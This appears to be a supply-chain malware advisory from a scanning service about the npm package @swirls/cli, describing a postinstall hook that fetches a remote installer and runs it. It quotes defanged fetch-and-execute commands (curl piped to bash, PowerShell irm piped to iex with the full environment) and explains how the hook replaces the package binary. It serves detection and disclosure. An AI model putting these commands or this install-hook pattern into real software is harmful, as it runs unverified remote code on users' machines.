LWA-2026-13661 confirmed malware

@swirls/cli@0.1.144

Malicious code in @swirls/cli (npm)

T1059.004 · Unix ShellT1059.001 · PowerShellT1105 · Ingress Tool TransferT1195.002 · Compromise Software Supply Chain

Analysis

@swirls/cli ships a postinstall hook (`node scripts/install.js`) that downloads a shell script from swirls[.]ai and pipes it directly into a shell, with no integrity or signature check on the downloaded content. On Linux/macOS it runs `curl -fsSL hxxps://swirls[.]ai/install | bash` via execSync; on Windows it runs `powershell.exe -NoProfile -Command "irm hxxps://swirls[.]ai/install[.]ps1 | iex"` with the installer's full environment (`{...process.env}`) passed through to the spawned process. The hook executes on any non-CI global install (only skipping when `CI` is set or the install is not global), then copies the binary the remote script dropped at `~/.local/bin/swirls` over the package's `bin/swirls` entry and marks it 0755, so subsequent `swirls` invocations run code that was fetched from a remote host at install time rather than anything shipped in the tarball. `bin/swirls` itself is a placeholder that prints the same `curl -fsSL hxxps://swirls[.]ai/install | bash` command, so any environment where lifecycle scripts were skipped still ends up running the remote installer. IOCs: hxxps://swirls[.]ai/install, hxxps://swirls[.]ai/install[.]ps1.

analyzed by
Leitwacht
first seen
Nov 4, 2026, 11:00 PM
analyzed
Nov 5, 2026, 12:07 AM
weekly installs
1,372

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Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.